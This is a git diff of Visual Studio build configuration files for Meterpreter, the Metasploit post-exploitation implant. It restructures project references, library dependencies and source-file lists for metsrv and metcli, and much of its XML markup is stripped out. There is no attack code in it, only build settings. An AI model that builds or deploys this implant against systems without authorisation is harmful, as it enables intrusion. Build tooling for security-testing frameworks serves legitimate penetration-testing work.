NDEBUG;WIN32;_CONSOLE;USE_DLL;METERPRETER_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - true - Use - metcli.h - .\Release\metcli.pch - .\Release\ - .\Release\ - .\Release\ - Level3 - true - ProgramDatabase - Size - - - NDEBUG;%(PreprocessorDefinitions) - 0x0409 - - - backcompat.lib;common.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - .\Release\metcli.exe - true - ..\backcompat\$(Configuration);..\common\Release; ..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) - ..\..\source\client\metcli.def - true - .\Release\metcli.pdb - Console - false - - - MachineX86 - - - true - .\Release\metcli.bsc - - - copy /y "$(ProjectDir)\release\metcli.exe" "$(ProjectDir)..\..\output\" - - - - - X64 - .\Release\metcli.tlb - - - - - MaxSpeed - OnlyExplicitInline - ..\..\deps\openssl\include;%(AdditionalIncludeDirectories) - NDEBUG;WIN32;_CONSOLE;USE_DLL;METERPRETER_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - false - Use - metcli.h - .\Release\metcli.pch - .\Release\ - .\Release\ - .\Release\ - Level3 - true - ProgramDatabase - false - - - NDEBUG;%(PreprocessorDefinitions) - 0x0409 - - - common.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - .\Release\metcli.exe - true - ..\common\Release; ..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) - ..\..\source\client\metcli.def - true - .\Release\metcli.pdb - Console - false - - - MachineX64 - - - true - .\Release\metcli.bsc - - - copy /y "$(ProjectDir)\release\metcli.exe" "$(ProjectDir)..\..\output\" - - - - - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - - - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - - - %(PreprocessorDefinitions) - Create - %(PreprocessorDefinitions) - Create - %(PreprocessorDefinitions) - Create - %(PreprocessorDefinitions) - Create - - - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - - - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - - - - - - - - - - - - - {c6fb3275-9067-4bba-9206-0a720d2bc64f} - false - - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - - - - diff --git a/c/meterpreter/workspace/meterpreter.sln b/c/meterpreter/workspace/meterpreter.sln index 0903e797..8a4969c8 100755 --- a/c/meterpreter/workspace/meterpreter.sln +++ b/c/meterpreter/workspace/meterpreter.sln @@ -3,8 +3,6 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30002.166 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcxproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}" -EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_priv", "ext_server_priv\ext_server_priv.vcxproj", "{87C64204-C82F-415D-AF45-D0B33BDFE39A}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_stdapi", "ext_server_stdapi\ext_server_stdapi.vcxproj", "{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}" @@ -62,14 +60,6 @@ Global Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|Win32.ActiveCfg = r7_release|Win32 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|Win32.Build.0 = r7_release|Win32 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|x64.ActiveCfg = r7_release|x64 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|x64.Build.0 = r7_release|x64 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|Win32.ActiveCfg = Release|Win32 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|Win32.Build.0 = Release|Win32 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|x64.ActiveCfg = Release|x64 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|x64.Build.0 = Release|x64 {87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_release|Win32.ActiveCfg = r7_release|Win32 {87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_release|Win32.Build.0 = r7_release|Win32 {87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_release|x64.ActiveCfg = r7_release|x64 diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 1c9c2a1c..5bceb825 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -125,7 +125,8 @@ backcompat.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) true ..\backcompat\$(Configuration);..\common\$(Configuration);%(AdditionalLibraryDirectories) - ..\..\source\server\win\metsrv.def + + %(DelayLoadDLLs) false true @@ -191,7 +192,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" backcompat.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) true ..\backcompat\$(Configuration);..\common\$(Configuration);%(AdditionalLibraryDirectories) - ..\..\source\server\win\metsrv.def + + %(DelayLoadDLLs) false true @@ -257,7 +259,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) true ..\common\$(Configuration);%(AdditionalLibraryDirectories) - ..\..\source\server\win\metsrv.def + + false true $(OutDir)\metsrv.map @@ -322,7 +325,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) true ..\common\$(Configuration);%(AdditionalLibraryDirectories) - ..\..\source\server\win\metsrv.def + + false true $(OutDir)\metsrv.map @@ -346,56 +350,6 @@ IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - - - Create - - - - - - - - - - NotUsing - - - - - NotUsing - - - - - NotUsing - - - - - NotUsing - - - - - - - - - - - - - - - - - - - - - @@ -407,15 +361,65 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index c5f96dd4..cb1bf4df 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -1,62 +1,57 @@  - - - - - - - transports - - - transports - - - transports - - - pivots - - - pivots - - - transports - + + + + + + + + + + + + + + + + + + + + + + + + - - - - - transports - - - transports - - - transports - - - pivots - - - pivots - - - transports - - - - - - - - {302976b1-9752-4587-ac91-61595d625665} - - - {71e24bf2-1e97-4a69-8092-d9606d341e80} - + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file